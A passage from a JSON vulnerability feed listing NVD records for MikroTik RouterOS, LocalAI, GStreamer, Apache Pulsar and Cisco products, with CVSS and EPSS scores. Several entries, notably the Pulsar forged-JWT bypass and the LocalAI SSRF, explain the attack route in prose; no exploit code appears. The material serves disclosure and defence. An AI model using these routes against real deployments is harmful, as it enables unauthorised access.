fixes.","publishedAt":"2026-10-21T19:16:47.390Z","updatedAt":"2026-10-23T12:18:04.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-31699","asOf":"2026-10-23T12:18:04.473Z"},"epss":{"probability":0.00348,"percentile":0.28115,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-31699","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-31699","type":"primary","publishedAt":"2026-10-21T19:16:47.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89035","cveId":"CVE-2026-89035","aliases":[],"kind":"vulnerability","title":"MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session...","summary":"MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session tokens across new ECDH sessions. The makeSessionKey function in libucrypto.so generates tokens using fixed salts without incorporating channel-specific or session-specific input, and the user service validates tokens against the login store without verifying channel context, enabling stolen tokens to grant persistent administrative access until the token store is explicitly cleared. This vulnerability extends the impact of CVE-2025-61481, which identified the underlying transport-layer exposure without a corresponding fix.","detail":"MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session tokens across new ECDH sessions. The makeSessionKey function in libucrypto.so generates tokens using fixed salts without incorporating channel-specific or session-specific input, and the user service validates tokens against the login store without verifying channel context, enabling stolen tokens to grant persistent administrative access until the token store is explicitly cleared. This vulnerability extends the impact of CVE-2025-61481, which identified the underlying transport-layer exposure without a corresponding fix.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:30.277Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MikroTik"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89035","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00274,"percentile":0.19585,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89035","type":"primary","publishedAt":"2026-10-21T18:17:30.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114493","cveId":"CVE-2026-114493","aliases":[],"kind":"vulnerability","title":"LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL.","summary":"LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL. Attackers can submit a config URL through POST /models/apply that redirects to internal or cloud metadata addresses, receiving those internal responses as gallery content.","detail":"LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL. Attackers can submit a config URL through POST /models/apply that redirects to internal or cloud metadata addresses, receiving those internal responses as gallery content.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:28.120Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114493","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.0038,"percentile":0.31744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114493&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114493","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114493","type":"primary","publishedAt":"2026-10-21T18:17:28.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114493&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114493, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111183","cveId":"CVE-2026-111183","aliases":[],"kind":"vulnerability","title":"GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability.","summary":"GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the processing of RTP payload elements. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-31143.","detail":"GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the processing of RTP payload elements. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-31143.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:23.477Z","updatedAt":"2026-10-23T12:18:08.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111183","asOf":"2026-10-23T12:18:08.327Z"},"epss":{"probability":0.00704,"percentile":0.5304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111183","type":"primary","publishedAt":"2026-10-21T18:17:23.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105869","cveId":"CVE-2026-105869","aliases":[],"kind":"vulnerability","title":"Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT).","summary":"Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT). The provider is intended for use with token authentication, which verifies the token before authorization. The provider did not verify the token itself: it parsed the token's claims with the signature removed and trusted that authentication had already checked it.\n\nWhen authentication and authorization are enabled with a non-empty anonymousUserRole setting, some HTTP requests whose credentials fail authentication are not rejected, but are handled as requests of the anonymous user role. For the broker's HTTP endpoints, such as the admin REST API, this fallback applies to requests that do not name an authentication method and requires strictAuthMethod to be false (the default) where that setting is available. For the WebSocket API, failed credentials can also fall back to the anonymous user role; this path does not enforce strictAuthMethod. The authentication data kept for such a request still contained the request's Authorization header. MultiRolesTokenAuthorizationProvider then read the bearer token from that header without verifying its signature and authorized the request with the roles in the token's role claim.\n\nAs a result, in deployments that use MultiRolesTokenAuthorizationProvider together with a non-empty anonymousUserRole and that permit this fallback, an unauthenticated client can send an HTTP request, for example to the admin REST API or the WebSocket API, with a forged or unsigned token that lists arbitrary roles, and be authorized with those roles. The impact can include super-user access when the token lists a role configured in superUserRoles, allowing the client to read and change tenants, namespaces, topics, permissions and broker configuration. No valid credentials are required.\n\nDeployments are not affected if they use the default authorization provider (PulsarAuthorizationProvider) or another authorization provider, or if anonymousUserRole is not set (the default). Requests that authenticate successfully with a valid token are not affected, because the token that MultiRolesTokenAuthorizationProvider reads is","detail":"Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT). The provider is intended for use with token authentication, which verifies the token before authorization. The provider did not verify the token itself: it parsed the token's claims with the signature removed and trusted that authentication had already checked it.\n\nWhen authentication and authorization are enabled with a non-empty anonymousUserRole setting, some HTTP requests whose credentials fail authentication are not rejected, but are handled as requests of the anonymous user role. For the broker's HTTP endpoints, such as the admin REST API, this fallback applies to requests that do not name an authentication method and requires strictAuthMethod to be false (the default) where that setting is available. For the WebSocket API, failed credentials can also fall back to the anonymous user role; this path does not enforce strictAuthMethod. The authentication data kept for such a request still contained the request's Authorization header. MultiRolesTokenAuthorizationProvider then read the bearer token from that header without verifying its signature and authorized the request with the roles in the token's role claim.\n\nAs a result, in deployments that use MultiRolesTokenAuthorizationProvider together with a non-empty anonymousUserRole and that permit this fallback, an unauthenticated client can send an HTTP request, for example to the admin REST API or the WebSocket API, with a forged or unsigned token that lists arbitrary roles, and be authorized with those roles. The impact can include super-user access when the token lists a role configured in superUserRoles, allowing the client to read and change tenants, namespaces, topics, permissions and broker configuration. No valid credentials are required.\n\nDeployments are not affected if they use the default authorization provider (PulsarAuthorizationProvider) or another authorization provider, or if anonymousUserRole is not set (the default). Requests that authenticate successfully with a valid token are not affected, because the token that MultiRolesTokenAuthorizationProvider reads is the token that authentication verified. Connections that use the Pulsar binary protocol are not affected by this issue, because the broker does not keep client authentication data for connections that it assigns to the anonymous user role.\n\nIn fixed versions, MultiRolesTokenAuthorizationProvider obtains roles only from tokens that the configured token authentication provider has verified, using its configured keys and validation settings. Broker HTTP requests that are assigned to the anonymous user role are authorized only as that role, and invalid tokens cannot supply additional roles to WebSocket requests. The broker fails to start if MultiRolesTokenAuthorizationProvider is configured with authorization enabled but without a token authentication provider.\n\nThis issue affects Apache Pulsar versions from 2.8.1 before 4.0.14 and from 4.1.0 before 4.2.5.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.\n\nUsers who cannot upgrade immediately can remove the anonymousUserRole setting from the broker and WebSocket service configurations, or restrict network access to the HTTP endpoints of these services to trusted clients.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:22.293Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105869","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.00303,"percentile":0.22875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105869","type":"primary","publishedAt":"2026-10-21T18:17:22.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76475","cveId":"CVE-2026-76475","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76475 are related to issues concerning improper neutralization of input during web page generation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-79.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76475 are related to issues concerning improper neutralization of input during web page generation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-79.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.253Z","updatedAt":"2026-10-22T14:17:46.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76475","asOf":"2026-10-22T14:17:46.217Z"},"epss":{"probability":0.00326,"percentile":0.25449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76475","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76475","type":"primary","publishedAt":"2026-10-21T17:19:07.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76474","cveId":"CVE-2026-76474","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76474 are related to issues concerning improper authentication that are grouped under the Common Weakness Enumeration (CWE) Class CWE-287.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76474 are related to issues concerning improper authentication that are grouped under the Common Weakness Enumeration (CWE) Class CWE-287.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.113Z","updatedAt":"2026-10-22T23:19:07.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76474","asOf":"2026-10-22T23:19:07.677Z"},"epss":{"probability":0.00474,"percentile":0.4073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76474&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76474","type":"primary","publishedAt":"2026-10-21T17:19:07.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76474&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76474, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76473","cveId":"CVE-2026-76473","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76473 are related to issues concerning improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Class CWE-74.\r\n&nbsp;","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76473 are related to issues concerning improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Class CWE-74.\r\n&nbsp;\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:06.973Z","updatedAt":"2026-10-22T23:19:07.543Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76473","asOf":"2026-10-22T23:19:07.543Z"},"epss":{"probability":0.0049,"percentile":0.4187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76473","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76473","type":"primary","publishedAt":"2026-10-21T17:19:06.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76473, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76466","cveId":"CVE-2026-76466","aliases":[],"kind":"vulnerability","title":"A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to...","summary":"A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as&nbsp;root.\r\n\r\nThis vulnerability is due to the use of persistent cookies. Additionally, there is insufficient validation of client certificates when the TLS Verify Mode is set to Enabled for clustering, which means that client certificates are not validated. An attacker with possession of the cookies could exploit this vulnerability by connecting to the database service and invoking specific remote procedure call (RPC) commands. A successful exploit could allow the attacker to execute arbitrary commands as root on the underlying operating system of an affected device.\r\nNote: Cisco Expressway Series refers to Cisco Expressway Core (Expressway-C) devices and Cisco Expressway Edge (Expressway-E) devices.","detail":"A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as&nbsp;root.\r\n\r\nThis vulnerability is due to the use of persistent cookies. Additionally, there is insufficient validation of client certificates when the TLS Verify Mode is set to Enabled for clustering, which means that client certificates are not validated. An attacker with possession of the cookies could exploit this vulnerability by connecting to the database service and invoking specific remote procedure call (RPC) commands. A successful exploit could allow the attacker to execute arbitrary commands as root on the underlying operating system of an affected device.\r\nNote: Cisco Expressway Series refers to Cisco Expressway Core (Expressway-C) devices and Cisco Expressway Edge (Expressway-E) devices.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:06.813Z","updatedAt":"2026-10-22T23:19:07.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76466","asOf":"2026-10-22T23:19:07.397Z"},"epss":{"probability":0.00417,"percentile":0.35663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76466&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 